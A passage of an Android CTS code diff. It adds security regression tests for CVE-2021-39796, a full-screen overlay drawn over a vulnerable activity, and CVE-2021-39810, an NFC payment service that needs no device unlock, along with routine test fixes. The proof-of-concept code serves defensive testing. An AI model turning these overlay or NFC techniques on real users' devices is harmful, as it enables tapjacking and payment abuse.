org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeNoException; +import static org.junit.Assume.assumeNotNull; +import static org.junit.Assume.assumeTrue; + +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ResolveInfo; +import android.provider.Settings; + +import androidx.test.runner.AndroidJUnit4; +import androidx.test.uiautomator.By; +import androidx.test.uiautomator.UiDevice; +import androidx.test.uiautomator.Until; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.IOException; +import java.util.List; +import java.util.regex.Pattern; + +@RunWith(AndroidJUnit4.class) +public class DeviceTest { + private static final int LAUNCH_TIMEOUT_MS = 20000; + + private void startOverlayService() { + Context context = getApplicationContext(); + assumeNotNull(context); + Intent intent = new Intent(context, PocService.class); + + assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg), + Settings.canDrawOverlays(getApplicationContext())); + try { + context.startService(intent); + } catch (Exception e) { + assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e); + } + } + + public void startVulnerableActivity() { + Context context = getApplicationContext(); + Intent intent = new Intent(); + intent.setClassName(context.getString(R.string.vulnerablePkg), + context.getString(R.string.vulnerableActivity)); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + + PackageManager pm = getApplicationContext().getPackageManager(); + List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY); + String vulnerableActivityName = context.getString(R.string.vulnerablePkg) + "/" + + context.getString(R.string.vulnerableActivity); + + assumeTrue(context.getString(R.string.activityNotFoundMsg) + vulnerableActivityName, + ris.size() != 0); + try { + context.startActivity(intent); + } catch (Exception e) { + assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e); + } + } + + @Test + public void testOverlayButtonPresence() { + Context context = getApplicationContext(); + UiDevice mDevice = UiDevice.getInstance(getInstrumentation()); + + /* Start the overlay service */ + startOverlayService(); + + /* Wait for the overlay window */ + Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText), + Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.overlayUiScreenError), + mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)); + + /* Start the vulnerable activity */ + startVulnerableActivity(); + + /* Wait until the object of launcher activity is gone */ + boolean overlayDisallowed = mDevice + .wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), LAUNCH_TIMEOUT_MS); + + /* Check if the currently running activity is the vulnerable activity */ + String activityDump = ""; + try { + activityDump = mDevice.executeShellCommand(context.getString(R.string.dumpsysActivity) + + " " + context.getString(R.string.harmfulActivity)); + } catch (IOException e) { + assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e); + } + Pattern activityPattern = + Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE); + assumeTrue(context.getString(R.string.vulActivityNotRunningError), + activityPattern.matcher(activityDump).find()); + + assertTrue(context.getString(R.string.errorMessage), overlayDisallowed); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java new file mode 100644 index 00000000000..a7a9c5f2330 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java @@ -0,0 +1,87 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39796; + +import static org.junit.Assume.assumeTrue; + +import android.app.Service; +import android.content.Intent; +import android.content.res.Resources; +import android.graphics.PixelFormat; +import android.os.IBinder; +import android.provider.Settings; +import android.view.Gravity; +import android.view.WindowManager; +import android.widget.Button; + +public class PocService extends Service { + public static Button mButton; + private WindowManager mWindowManager; + private WindowManager.LayoutParams mLayoutParams; + + private static int getScreenWidth() { + return Resources.getSystem().getDisplayMetrics().widthPixels; + } + + private static int getScreenHeight() { + return Resources.getSystem().getDisplayMetrics().heightPixels; + } + + @Override + public void onCreate() { + super.onCreate(); + mWindowManager = getSystemService(WindowManager.class); + mLayoutParams = new WindowManager.LayoutParams(); + mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; + mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL + | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; + mLayoutParams.format = PixelFormat.OPAQUE; + mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP; + mLayoutParams.width = getScreenWidth(); + mLayoutParams.height = getScreenHeight(); + mLayoutParams.x = getScreenWidth() / 2; + mLayoutParams.y = getScreenHeight() / 2; + } + + @Override + public IBinder onBind(Intent intent) { + return null; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + showFloatingWindow(); + return super.onStartCommand(intent, flags, startId); + } + + @Override + public void onDestroy() { + if (mWindowManager != null && mButton != null) { + mWindowManager.removeView(mButton); + } + super.onDestroy(); + } + + private void showFloatingWindow() { + assumeTrue("The application cannot draw overlays", + Settings.canDrawOverlays(getApplicationContext())); + mButton = new Button(getApplicationContext()); + mButton.setText("OverlayButton"); + mWindowManager.addView(mButton, mLayoutParams); + mButton.setTag(mButton.getVisibility()); + } +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp new file mode 100644 index 00000000000..9a11e88e648 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp @@ -0,0 +1,33 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +android_test_helper_app { + name: "CVE-2021-39810", + defaults: [ + "cts_support_defaults", + ], + srcs: [ + "src/**/*.java", + ], + test_suites: [ + "sts", + ], + sdk_version: "current", +} diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml new file mode 100644 index 00000000000..3bdc38db5c7 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml @@ -0,0 +1,37 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<manifest xmlns:android="http://schemas.android.com/apk/res/android" + package="android.security.cts.CVE_2021_39810" + android:versionCode="1" + android:versionName="1.0"> + <uses-permission android:name="android.permission.NFC"/> + <application + android:label="CVE-2021-39810" + android:supportsRtl="true"> + <service + android:name=".PocService" + android:exported="true" + android:permission="android.permission.BIND_NFC_SERVICE"> + <intent-filter> + <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/> + </intent-filter> + <meta-data android:name="android.nfc.cardemulation.host_apdu_service" + android:resource="@xml/aid_list"/> + </service> + </application> +</manifest> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml new file mode 100644 index 00000000000..89833813b98 --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml @@ -0,0 +1,23 @@ +<?xml version="1.0" encoding="utf-8"?> +<!-- + Copyright 2022 The Android Open Source Project + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + --> + +<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android" + android:requireDeviceUnlock="false"> + <aid-group android:category="payment"> + <aid-filter android:name="325041592E5359532E4444463031" /> + </aid-group> +</host-apdu-service> diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java new file mode 100644 index 00000000000..e8e20851f3e --- /dev/null +++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/src/android/security/cts/CVE_2021_39810/PocService.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts.CVE_2021_39810; + +import android.app.Service; +import android.content.Intent; +import android.os.IBinder; + +public class PocService extends Service { + + @Override + public IBinder onBind(Intent intent) { + return null; + } +} diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java index 3203793fc0b..eeabeec69f3 100644 --- a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java +++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/DeviceOwnerTest.java @@ -76,6 +76,7 @@ public final class DeviceOwnerTest extends InstrumentationTestCase { } } + static final String CAR_SETTING_FRAG_RESOURCE_ID_REGEX = ".*:id/fragment_container_wrapper"; static final String PACKAGE_NAME = DeviceOwnerTest.class.getPackage().getName(); static final ComponentName RECEIVER_COMPONENT = new ComponentName(PACKAGE_NAME, BasicAdminReceiver.class.getName()); @@ -84,6 +85,7 @@ public final class DeviceOwnerTest extends InstrumentationTestCase { protected PackageManager mPackageManager; protected boolean mIsDeviceOwner; private String mWorkPolicyInfoText; + private boolean mIsAutomotive; @Override protected void setUp() throws Exception { @@ -94,9 +96,9 @@ public final class DeviceOwnerTest extends InstrumentationTestCase { mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext, BasicAdminReceiver.class, /* forDeviceOwner= */ true); - boolean isAutomotive = mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE); + mIsAutomotive = mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE); - mWorkPolicyInfoText = isAutomotive + mWorkPolicyInfoText = mIsAutomotive ? "Privacy Settings for Device Owner CTS host side app vehicle policy" : "Your work policy info"; @@ -145,9 +147,10 @@ public final class DeviceOwnerTest extends InstrumentationTestCase { boolean found = null != mDevice.wait(Until.findObject(By.text(mWorkPolicyInfoText)), TIMEOUT_MS); - // Try to scroll the list to find the item - if (!found) { - UiScrollable scroller = new UiScrollable(new UiSelector().scrollable(true)); + // For automotive UI, try to scroll the privacy list to find the item + if (!found && mIsAutomotive) { + UiScrollable scroller = new UiScrollable(new UiSelector() + .resourceIdMatches(CAR_SETTING_FRAG_RESOURCE_ID_REGEX)); try { // Swipe far away from the edges to avoid triggering navigation gestures scroller.setSwipeDeadZonePercentage(DEADZONE_PCT); diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java index 3ad254143d7..6aac55972c3 100644 --- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java +++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerMultiuserTest.java @@ -66,6 +66,7 @@ public class ShortcutManagerMultiuserTest extends BaseShortcutManagerHostTest { getDevice().startUser(secondUserID, true); getDevice().switchUser(secondUserID); + Thread.sleep(5000); installAppAsUser(TARGET_APK, secondUserID); waitForBroadcastIdle(); Thread.sleep(5000); diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java index c7b2879492b..e192e72c5d7 100644 --- a/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java +++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/appcompatstate/AppCompatStateStatsTests.java @@ -16,14 +16,14 @@ package android.cts.statsdatom.appcompatstate; -import static com.google.common.truth.Truth.assertThat; - import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_ASPECT_RATIO; import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_FIXED_ORIENTATION; import static com.android.os.AtomsProto.AppCompatStateChanged.State.LETTERBOXED_FOR_SIZE_COMPAT_MODE; import static com.android.os.AtomsProto.AppCompatStateChanged.State.NOT_LETTERBOXED; import static com.android.os.AtomsProto.AppCompatStateChanged.State.NOT_VISIBLE; +import static com.google.common.truth.Truth.assertThat; + import android.cts.statsdatom.lib.AtomTestUtils; import android.cts.statsdatom.lib.ConfigUtils; import android.cts.statsdatom.lib.DeviceUtils; @@ -154,8 +154,9 @@ public class AppCompatStateStatsTests extends DeviceTestCase implements IBuildRe public void testNonResizablePortraitActivitySwitchedToOpenedThenMinAspectRatioActivity() throws Exception { - // The 1st and 2nd options for expected states are for portrait devices and the 3rd and 4th - // options are for landscape devices, there are two options for each type of device because + // The 1st and 2nd options for expected states are for portrait devices, the 3rd and 4th + // options are for landscape devices, and the 5th and 6th options are for portrait + // devices that unfold into landscape, there are two options for each type of device because // the NOT_VISIBLE state between visible states isn't always logged. testAppCompatFlow(NON_RESIZEABLE_PORTRAIT_ACTIVITY, MIN_ASPECT_RATIO_PORTRAIT_ACTIVITY, /* switchToOpened= */ true, @@ -166,6 +167,10 @@ public class AppCompatStateStatsTests extends DeviceTestCase implements IBuildRe Arrays.asList(LETTERBOXED_FOR_FIXED_ORIENTATION, LETTERBOXED_FOR_SIZE_COMPAT_MODE, NOT_VISIBLE, LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE), Arrays.asList(LETTERBOXED_FOR_FIXED_ORIENTATION, LETTERBOXED_FOR_SIZE_COMPAT_MODE, + LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE), + Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_SIZE_COMPAT_MODE, NOT_VISIBLE, + LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE), + Arrays.asList(NOT_LETTERBOXED, LETTERBOXED_FOR_SIZE_COMPAT_MODE, LETTERBOXED_FOR_FIXED_ORIENTATION, NOT_VISIBLE)); } diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml index a2f4521e524..161a887a574 100644 --- a/tests/AlarmManager/AndroidTest.xml +++ b/tests/AlarmManager/AndroidTest.xml @@ -20,6 +20,7 @@ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> + <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml index 8dba7414c5c..1fdeb9e092b 100644 --- a/tests/MediaProviderTranscode/AndroidTest.xml +++ b/tests/MediaProviderTranscode/AndroidTest.xml @@ -32,4 +32,8 @@ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" /> <option name="hidden-api-checks" value="false"/> </test> + + <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController"> + <option name="mainline-module-package-name" value="com.google.android.mediaprovider" /> + </object> </configuration> diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java index c083977026e..8c1b4844470 100644 --- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java +++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityEventTest.java @@ -67,6 +67,9 @@ public class AccessibilityEventTest { private static final long IDLE_TIMEOUT_MS = 500; private static final long DEFAULT_TIMEOUT_MS = 1000; + // From ViewConfiguration.SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS + private static final long SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS = 100; + private EventReportingLinearLayout mParentView; private View mChildView; private TextView mTextView; @@ -151,10 +154,10 @@ public class AccessibilityEventTest { mChildView.scrollTo(0, 25); mChildView.scrollTo(0, 50); mChildView.scrollTo(0, 100); - Thread.sleep(150); + Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2); mChildView.scrollTo(0, 150); mChildView.scrollTo(0, 175); - Thread.sleep(50); + Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS / 2); mChildView.scrollTo(0, 200); } catch (InterruptedException e) { fail("Interrupted while dispatching event bursts."); @@ -234,7 +237,7 @@ public class AccessibilityEventTest { mChildView.scrollTo(0, 25); mChildView.scrollTo(5, 50); mChildView.scrollTo(7, 100); - Thread.sleep(100); + Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2); mChildView.scrollTo(0, 25); mChildView.scrollTo(5, 50); mChildView.scrollTo(7, 100); @@ -281,10 +284,10 @@ public class AccessibilityEventTest { sendStateDescriptionChangedEvent(mChildView); sendStateDescriptionChangedEvent(mChildView); sendStateDescriptionChangedEvent(mChildView); - Thread.sleep(150); + Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS * 2); sendStateDescriptionChangedEvent(mChildView); sendStateDescriptionChangedEvent(mChildView); - Thread.sleep(50); + Thread.sleep(SEND_RECURRING_ACCESSIBILITY_EVENTS_INTERVAL_MILLIS / 2); sendStateDescriptionChangedEvent(mChildView); } catch (InterruptedException e) { fail("Interrupted while dispatching event bursts."); diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java index b6bb357b247..089aa5826ec 100755 --- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java +++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java @@ -144,8 +144,8 @@ public class AccessibilityGestureDetectorTest { mStrokeLenPxX = (int) (GESTURE_LENGTH_INCHES * metrics.xdpi); // The threshold is determined by xdpi. mStrokeLenPxY = mStrokeLenPxX; - mMaxAdjustedStrokeLenPxX = metrics.heightPixels / 2; - mMaxAdjustedStrokeLenPxY = metrics.widthPixels / 2; + mMaxAdjustedStrokeLenPxX = metrics.widthPixels / 2; + mMaxAdjustedStrokeLenPxY = metrics.heightPixels / 2; final boolean screenWideEnough = metrics.widthPixels / 2 > mStrokeLenPxX; final boolean screenHighEnough = metrics.heightPixels / 2 > mStrokeLenPxY; mScreenBigEnough = screenWideEnough && screenHighEnough; @@ -641,14 +641,18 @@ public class AccessibilityGestureDetectorTest { adjustStrokeDurationForSlop(STROKE_MS, dx, slopAdjustedDx), adjustStrokeDurationForSlop(STROKE_MS, dy, slopAdjustedDy)); + final PointF tapLocation = new PointF(mTapLocation); + final float locationOffsetX = (fingerCount - 1) * fingerOffset; + tapLocation.offset(dx > 0 ? -locationOffsetX : locationOffsetX , 0); for (int currentFinger = 0; currentFinger < fingerCount; ++currentFinger) { // Make sure adjustments don't take us outside of screen boundaries. - assertTrue(slopAdjustedDx + (fingerOffset * currentFinger) < mMaxAdjustedStrokeLenPxX); + assertTrue(slopAdjustedDx + (fingerOffset * currentFinger) < (mMaxAdjustedStrokeLenPxX + + locationOffsetX)); assertTrue(slopAdjustedDy < mMaxAdjustedStrokeLenPxY); builder.addStroke( GestureUtils.swipe( - add(mTapLocation, fingerOffset * currentFinger, 0), - add(mTapLocation, slopAdjustedDx + (fingerOffset * currentFinger), + add(tapLocation, fingerOffset * currentFinger, 0), + add(tapLocation, slopAdjustedDx + (fingerOffset * currentFinger), slopAdjustedDy), slopAdjustedStrokeDuration)); } @@ -657,9 +661,9 @@ public class AccessibilityGestureDetectorTest { private float adjustStrokeDeltaForSlop(int fingerCount, float strokeDelta) { if (strokeDelta > 0.0f) { - return strokeDelta + (fingerCount * mScaledTouchSlop); + return Math.max(strokeDelta, fingerCount * mScaledTouchSlop + 10); } else if (strokeDelta < 0.0f) { - return strokeDelta - (fingerCount * mScaledTouchSlop); + return Math.min(strokeDelta, -(fingerCount * mScaledTouchSlop + 10)); } return strokeDelta; } diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java index b206d5bac66..6f3772871ba 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java +++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java @@ -109,7 +109,7 @@ public final class AutoFillServiceTestCase { } protected static InlineUiBot getInlineUiBot() { - return sDefaultUiBot2; + return new InlineUiBot(getContext()); } protected static UiBot getDropdownUiBot() { @@ -480,7 +480,6 @@ public final class AutoFillServiceTestCase { } protected static final UiBot sDefaultUiBot = new UiBot(); - protected static final InlineUiBot sDefaultUiBot2 = new InlineUiBot(); private AutoFillServiceTestCase() { throw new UnsupportedOperationException("Contain static stuff only"); diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java index 3bd55d5e74d..b39a080fe47 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java +++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java @@ -30,6 +30,7 @@ import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaun import android.autofillservice.cts.testcore.AutofillActivityTestRule; import android.autofillservice.cts.testcore.CannedAugmentedFillResponse; import android.autofillservice.cts.testcore.CtsAugmentedAutofillService; +import android.autofillservice.cts.testcore.InlineUiBot; import android.content.IntentSender; import android.platform.test.annotations.Presubmit; import android.service.autofill.Dataset; @@ -38,6 +39,7 @@ import android.view.autofill.AutofillValue; import android.widget.EditText; import org.junit.Test; +import org.junit.rules.TestRule; @Presubmit public class InlineAugmentedAuthTest @@ -59,6 +61,11 @@ public class InlineAugmentedAuthTest }; } + @Override + public TestRule getMainTestRule() { + return InlineUiBot.annotateRule(super.getMainTestRule()); + } + @Test public void testDatasetAuth_resultOk_validDataset() throws Exception { // Set services diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java index a8800c8f777..4d7efcee8f2 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java +++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java @@ -27,6 +27,7 @@ import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaun import android.autofillservice.cts.testcore.AutofillActivityTestRule; import android.autofillservice.cts.testcore.CannedAugmentedFillResponse; import android.autofillservice.cts.testcore.CtsAugmentedAutofillService; +import android.autofillservice.cts.testcore.InlineUiBot; import android.content.ClipData; import android.content.ContentResolver; import android.content.IntentSender; @@ -43,6 +44,7 @@ import android.widget.TextView; import org.junit.Before; import org.junit.Test; +import org.junit.rules.TestRule; import java.util.concurrent.atomic.AtomicInteger; @@ -71,6 +73,11 @@ public class InlineAugmentedContentTest }; } + @Override + public TestRule getMainTestRule() { + return InlineUiBot.annotateRule(super.getMainTestRule()); + } + @Before public void before() throws Exception { mContentResolver = mContext.getContentResolver(); diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java index bae5a21ba0f..9c9e3abd7a7 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java +++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java @@ -31,6 +31,7 @@ import android.autofillservice.cts.testcore.CannedAugmentedFillResponse; import android.autofillservice.cts.testcore.CannedFillResponse; import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest; import android.autofillservice.cts.testcore.Helper; +import android.autofillservice.cts.testcore.InlineUiBot; import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest; import android.support.test.uiautomator.UiObject2; import android.util.Log; @@ -41,6 +42,7 @@ import android.view.autofill.AutofillValue; import androidx.test.filters.FlakyTest; import org.junit.Test; +import org.junit.rules.TestRule; @FlakyTest(bugId = 162372863) public class InlineAugmentedWebViewActivityTest extends @@ -70,6 +72,11 @@ public class InlineAugmentedWebViewActivityTest extends }; } + @Override + public TestRule getMainTestRule() { + return InlineUiBot.annotateRule(super.getMainTestRule()); + } + @Test public void testAugmentedAutoFillNoDatasets() throws Exception { // Set service. diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java index fef24f10d0a..f1bacb53863 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java +++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java @@ -27,6 +27,7 @@ import android.app.Activity; import android.app.assist.AssistStructure; import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest; import android.content.ComponentName; +import android.content.Context; import android.service.autofill.augmented.FillRequest; import android.util.Log; import android.util.Pair; @@ -37,6 +38,8 @@ import android.view.inputmethod.InlineSuggestionsRequest; import androidx.annotation.NonNull; import androidx.annotation.Nullable; +import com.android.cts.mockime.MockImeSession; + import java.util.List; import java.util.Objects; import java.util.concurrent.CountDownLatch; @@ -76,10 +79,19 @@ public final class AugmentedHelper { runShellCommand("cmd autofill set temporary-augmented-service 0"); } + /** + * Returns whether MockIme is available. + */ + public static boolean mockImeIsAvailable(Context context) { + return MockImeSession.getUnavailabilityReason(context) == null; + } + public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request, @NonNull Activity activity, @NonNull AutofillId expectedFocusedId, @Nullable AutofillValue expectedFocusedValue) { - assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue, true); + final boolean hasDefaultInlineRequest = mockImeIsAvailable(activity.getBaseContext()); + assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue, + hasDefaultInlineRequest); } public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request, diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java index 21befa51570..1d519d70d3a 100644 --- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java +++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java @@ -771,6 +771,7 @@ public final class Helper { /** * Gets the total number of nodes in an structure. + * A node that has a non-null IdPackage which does not match the test package is not counted. */ public static int getNumberNodes(AssistStructure structure, CharSequence windowTitle) { @@ -798,14 +799,18 @@ public final class Helper { /** * Gets the total number of nodes in an node, including all descendants and the node itself. + * A node that has a non-null IdPackage which does not match the test package is not counted. */ public static int getNumberNodes(ViewNode node) { + if (node.getIdPackage() != null && !node.getIdPackage().equals(MY_PACKAGE)) { + Log.w(TAG, "ViewNode ignored in getNumberNodes because of mismatched package: " + + node.getIdPackage()); + return 0; + } int count = 1; final int childrenSize = node.getChildCount(); - if (childrenSize > 0) { - for (int i = 0; i < childrenSize; i++) { - count += getNumberNodes(node.getChildAt(i)); - } + for (int i = 0; i < childrenSize; i++) { + count += getNumberNodes(node.getChildAt(i)); } return count; } diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java index 50892fc04f0..f488f095741 100644 --- 